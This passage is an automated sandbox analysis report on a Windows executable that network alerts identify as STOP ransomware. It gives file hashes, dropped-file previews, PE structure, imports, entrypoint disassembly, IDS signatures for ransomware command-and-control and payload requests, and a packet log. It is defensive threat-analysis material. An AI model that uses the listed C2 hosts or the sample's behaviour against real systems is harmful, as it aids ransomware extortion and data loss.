SHA-512:	07B97C126D524DF506D3775BA9C8099653EFD58489D2FFC26E8CFD3B0C29768C3C2980E93988E9EE3A76B6D185AAACB9A603801C2075AB6822D2A965BEEEDF68
Malicious:	false
Preview:	.PNG.W}w.\.......%......".j.....eD30..R..5<.$w+.t1....\sc.....t...=.......Q.,f.._.m.h.Q..!.)G...'..DPJ...z<.....J^.X.2c`.?......V}.......zf.p.`ty...},..ic.u4q..$I.%......E.2o....}\k2.>.xM.Vg....h.q-x.....7.J2...`..Q.[....9..7Q..t2......F!4@b..+..f.l..x..ig.....@.ge.R2.....Y)..H.....T...&K....F.4.q.4p..gI..'N...X....5..{.M....Y7.+.u.R0ZP.g..".,UT.J.A{..$..pKt..5..e..d.k............A.%.R.......w./.b....wb._.....1... ..;....}e....r..;.....ZE.C+.<~......k7z..g7.u.9o....O.1....p.7....46.c.P...i.%.Xf...%uV..].!.<-SP.},C.`X1}.....[...}.p...\SU...2.8..`....T..R...t....KS..P+.%.1....../!...m..O.d.DT.....1....?...&.:v!.Ep..:.....23..^-.K.<.&.Bs.Lk.....<..Z.w..L'....G....{.1.....e..:K..M....2..Z'....1.._..QK;[...k:w..:.*\|'.....7.....1`.P...-.\|EK..{mB.2..u..%.._\|up.rj...[.......x/..p$.<......4s....N.\i3.....,.2(..7..g...U`T.......==v.&.......s.2..7."...E.D...u.@_.l.o...W.G.s_...?Kq.]D<....FR>...M.....T....__i...1...&=...e.$/{G.+..a.&.f.f.F.E..cZ...

C:\Users\user\Local Settings\bowsakkdestx.txt.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.764416625871189
Encrypted:	false
SSDEEP:	24:rywM0G4do75zl+t12vXtOWPe1iLrGVej3qTuvbD:kKqH+totOGe1iLrIBcD
MD5:	BF4654015598588DFF43F08786D9E760
SHA1:	ED17A9288A71B0FE0604FC71961194C4095FC541
SHA-256:	748939562FD9599E9B30BFAF59CF2F0C3C4B4F6A7B54B54F1E5DD0A4AE5C4F43
SHA-512:	96A330AFF40963583843303946F7E9C199D0AE4515171605714B8E1A8FD6926E1299FC98FB9CDB37EF62F5884B451872C8A2E0C2C3E1A7D7E39E0BEAD41A4A1D
Malicious:	false
Preview:	<!DOC......[..6.......BH.. .O......TxC.. .o:?.o.cU.&...}.'.o7..P.x.%.V......BCCK.. ..5.f]X?....."d......U..IL..>l.J.B...........\|..e.5:8K."A.p.7E.]...VC..t.......s{...O.3j.x......rD...+&.H)...',}...........]..}1.d.2....]e..5..9....,[.<4j...7..6.R,......wd...Y....f.T...u.OV...D......E..!7q...al-....Q.N..(Wo\|.../.:.M.@..h%Zt....E.8=/.b......O3\.0z.k.x...b.hG....=dp...q..c..=mF..e}...._.e..$.>.q 8....rN........>.${.Kh......H.V'.....'.Nt...-.y...>...(.....,D....bPI..z. .@#...IC..EB....S....\|$i.$.7...A......?....0.J`[*....O.u,n.?[..8..0//.r+.s...Ur.w.LU.u.....+..).%9...+g.....h/...m.KS..+...;....T!..>.f>1.......Y...........5.{:{.....a...9.g.g.V....\GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462953449525444
Encrypted:	false
SSDEEP:	6144:uIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:jXD94+WlLZMM6YFHg+n
MD5:	968DC89CCCCD567AF0EBCD6CA64599DE
SHA1:	7222DBF84F52B4E76EFB9F96A36145BFCFA0538F
SHA-256:	F9F8B7871446BA9024A5EAA473151AFB1187BF7CDA9E693233A8FC7D2B319233
SHA-512:	5E101F3FE8C7AABB00135C654C798F33F527786FA4CA36BBA5C04A29137A51D14ACC569E093E1C670F97774617813249D7970BAE47A461767CCCE66D22484A5C
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.:.a.b.................................................................................................................................................................................................................................................................................................................................................U........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.327697199060668
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	n41dQbiw1Y.exe
File size:	836'608 bytes
MD5:	0511a0c819ade47392a2f3a51eaf1f0b
SHA1:	39b0471e8d501702179bfcb744728c00dcced7ba
SHA256:	635a73433a258fa5a9b3b015f57ca84e1c296e9b65888fb64ebb602213a9d49d
SHA512:	a3fc26ace23b84369a653a508744bb4502b64d4acf7548eabf4efe255a4faad89ca5d37e5bfe54f2f1ef81061fed95467cc4aa5672429a5f6714959f28bad1b5
SSDEEP:	12288:cXDnaeBniroOiI/th3XR+sUoZvckY5t9UevKRwGqp3+Yzr+9mpb6NPE/GBuYt:obnQ7Z/DosUMy9vvKRWp3RvOPDBFt
TLSH:	B005020393A1BC61E5664B719E2DC2F47A1EF5605E6D37AB2318BA3F04B05E2D173B12
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#uN)g. zg. zg. z.Z.zf. z.b.z}. z.b.z.. z.b.zA. znl.zn. zg.!z.. z.b.zf. z.b.zf. z.b.zf. zRichg. z........PE..L....c\c...........

File Icon


Icon Hash:	4555a18142414d45

Static PE Info

General

Entrypoint:	0x4054bd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x635C631F [Fri Oct 28 23:17:51 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	5208e0d407d61105b978bd2c2254eb95

Entrypoint Preview

Instruction
call 00007F4B310277FAh
jmp 00007F4B3102363Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004012F0h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F4B310237BEh
test byte ptr [eax], 00000008h
je 00007F4B310237B9h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [00401134h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov dword ptr [004BED34h], eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [004BB468h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
mov ebx, dword ptr [ebp+08h]
push edi
cmp ebx, FFFFFFFFh
je 00007F4B310237B9h
push ebx
call 00007F4B31027810h
pop ecx
and dword ptr [ebp-00000320h], 00000000h
push 0000004Ch
lea eax, dword ptr [ebp-0000031Ch]
push 00000000h
push eax
call 00007F4B31027816h
lea eax, dword ptr [ebp-00000320h]
mov dword ptr [ebp-00000328h], eax
lea eax, dword ptr [ebp-000002D0h]
add esp, 0Ch
mov dword ptr [ebp-00000324h], eax
mov dword ptr [ebp-00000220h], eax
mov dword ptr [ebp+00FFFDDCh], ecx

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb9d24	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2210000	0xe650	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4258	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x200	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb98f2	0xb9a00	0e5749ccd199d8ea040cc22c56902ebe	False	0.847170928030303	data	7.508633480574993	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xbb000	0x2154c44	0x3e00	400a0c4f09010d8415684466c873251f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2210000	0xe650	0xe800	a39d32e53e764893b01579a8bbb5b885	False	0.3681303879310345	data	3.8260484355063444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x221d3c8	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x221d3c0	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x221d3d0	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x221d3d8	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x221d3e0	0x2	data	5.0
AFX_DIALOG_LAYOUT	0x221d3e8	0x2	data	5.0
RT_ICON	0x22105c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.26514522821576764
RT_ICON	0x2212b68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.3155737704918033
RT_ICON	0x2213518	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.6570397111913358
RT_ICON	0x2213dc0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.48008298755186724
RT_ICON	0x2216368	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.5077392120075047
RT_ICON	0x2217440	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.27798507462686567
RT_ICON	0x22182e8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.39285714285714285
RT_ICON	0x22189b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.4046242774566474
RT_ICON	0x2218f18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.22292531120331951
RT_ICON	0x221b4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.2774390243902439
RT_ICON	0x221c568	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.30040983606557375
RT_ICON	0x221cef0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.34397163120567376
RT_STRING	0x221d5f8	0x2a2	Matlab v4 mat-file (little endian) D, numeric, rows 0, columns 0	0.48516320474777447
RT_STRING	0x221d8a0	0x354	data	0.4671361502347418
RT_STRING	0x221dbf8	0x2e0	data	0.47146739130434784
RT_STRING	0x221ded8	0x5a4	data	0.4279778393351801
RT_STRING	0x221e480	0x1ca	data	0.49563318777292575
RT_GROUP_ICON	0x2217410	0x30	data	0.9375
RT_GROUP_ICON	0x22134f0	0x22	data	0.9705882352941176
RT_GROUP_ICON	0x221d358	0x68	data	0.7307692307692307
RT_VERSION	0x221d3f0	0x204	data	0.5329457364341085

Imports

DLL	Import
KERNEL32.dll	ReadConsoleA, GetCurrentProcess, SetDefaultCommConfigW, GetEnvironmentStringsW, GetModuleHandleExW, GetComputerNameW, SetCommBreak, CreateHardLinkA, GetSystemDefaultLCID, FreeEnvironmentStringsA, GetConsoleAliasesA, ReadConsoleW, GetWindowsDirectoryA, GetConsoleAliasExesW, EnumTimeFormatsW, GetCommandLineA, TzSpecificLocalTimeToSystemTime, GlobalAlloc, LoadLibraryW, SetCommConfig, GetLocaleInfoW, InterlockedPopEntrySList, TransactNamedPipe, EnumSystemCodePagesA, HeapQueryInformation, GetCompressedFileSizeA, MultiByteToWideChar, GetStartupInfoW, DisconnectNamedPipe, EnumCalendarInfoW, GetNamedPipeHandleStateW, GetLastError, GetCurrentDirectoryW, ChangeTimerQueueTimer, SetLastError, GetTempFileNameA, LocalAlloc, GetFileType, MoveFileA, RemoveDirectoryW, FindAtomA, FindNextFileA, GetModuleHandleA, SetLocaleInfoW, FatalExit, RequestDeviceWakeup, CreateMailslotA, GetStringTypeW, VirtualProtect, QueryPerformanceFrequency, PeekConsoleInputA, GetShortPathNameW, SetCalendarInfoA, FindFirstVolumeA, FindAtomW, AddConsoleAliasA, OpenFileMappingA, DeleteVolumeMountPointA, FindResourceW, WriteConsoleInputW, GetDriveTypeW, GetConsoleAliasesLengthW, GetShortPathNameA, DeleteFileA, HeapReAlloc, GetProcAddress, GetModuleHandleW, ExitProcess, DecodePointer, GetCommandLineW, HeapSetInformation, RaiseException, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, HeapAlloc, HeapFree, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, HeapCreate, SetFilePointer, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, WriteFile, GetStdHandle, GetModuleFileNameW, FreeEnvironmentStringsW, SetHandleCount, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, WideCharToMultiByte, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, HeapSize, LCMapStringW, ReadFile, WriteConsoleW, CloseHandle, CreateFileW
USER32.dll	CharUpperA
GDI32.dll	GetTextFaceA, GetCharWidthA, SetBkColor
ADVAPI32.dll	ReadEventLogA

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T21:16:30.074353+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	104.21.80.1	443	TCP
2025-01-09T21:16:32.534555+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	104.21.80.1	443	TCP
2025-01-09T21:16:33.332586+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49732	104.21.80.1	443	TCP
2025-01-09T21:16:33.529463+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:33.529463+0100	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	1	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:34.025211+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:34.025211+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:34.826258+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:34.826258+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:34.826258+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:38.821038+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:39.579817+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:39.579817+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:44.109849+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:44.561780+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49736	104.21.80.1	443	TCP
2025-01-09T21:16:44.931482+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:44.931482+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:49.327194+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	188.40.141.211	80	TCP
2025-01-09T21:16:50.231002+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:50.231002+0100	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	192.168.2.4	49735	188.40.141.211	80	TCP
2025-01-09T21:16:52.809208+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	57797	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 21:16:29.147084951 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.147119999 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:29.147336960 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.172252893 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.172266006 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:29.665556908 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:29.665693998 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.712620974 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.712635994 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:29.712857008 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:29.712913036 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.717385054 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:29.759325027 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:30.074312925 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:30.074392080 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:30.074522018 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:30.083839893 CET	49730	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:30.083851099 CET	443	49730	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:31.647047997 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:31.647145987 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:31.647238970 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:31.658499002 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:31.658581972 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.126388073 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.126472950 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.129848003 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.129875898 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.130291939 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.130354881 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.131724119 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.175352097 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.384051085 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.384143114 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.384241104 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.404222965 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.404308081 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.534596920 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.534832954 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.534894943 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.534960032 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.535192966 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.535424948 CET	443	49731	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.535506010 CET	49731	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.873893023 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:32.878717899 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:32.881217957 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:32.881339073 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:32.886089087 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:32.911308050 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.911489964 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.915132046 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.915188074 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.915443897 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:32.915505886 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.916681051 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:32.959408045 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:33.332489967 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:33.332681894 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:33.332743883 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:33.332782030 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:33.332812071 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:33.332844019 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:33.333775043 CET	49732	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:33.333837032 CET	443	49732	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:33.390165091 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:33.395122051 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:33.395216942 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:33.395494938 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:33.400264025 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:33.529405117 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:33.529463053 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:34.025017977 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:34.025211096 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:34.634443998 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:34.639348984 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:34.826172113 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:34.826257944 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:38.571423054 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:38.576482058 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:38.819839001 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:38.821038008 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:39.370863914 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:39.375953913 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:39.579627991 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:39.579817057 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:43.591336012 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:43.591428995 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:43.591497898 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:43.598619938 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:43.598656893 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:43.915390015 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:43.920845985 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:44.109762907 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:44.109848976 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:44.127017975 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.127123117 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.130368948 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.130378962 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.130794048 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.130848885 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.132075071 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.175354958 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.561914921 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.561995029 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562042952 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.562097073 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562119007 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.562164068 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562176943 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.562225103 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562243938 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.562294960 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562751055 CET	49736	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:44.562783003 CET	443	49736	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:44.743365049 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:44.748507023 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:44.931413889 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:44.931482077 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:49.134115934 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:49.140705109 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:49.327002048 CET	80	49734	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:49.327193975 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:49.929629087 CET	57796	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:49.934948921 CET	53	57796	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:49.936830997 CET	57796	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:49.941700935 CET	53	57796	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:50.024885893 CET	49735	80	192.168.2.4	188.40.141.211
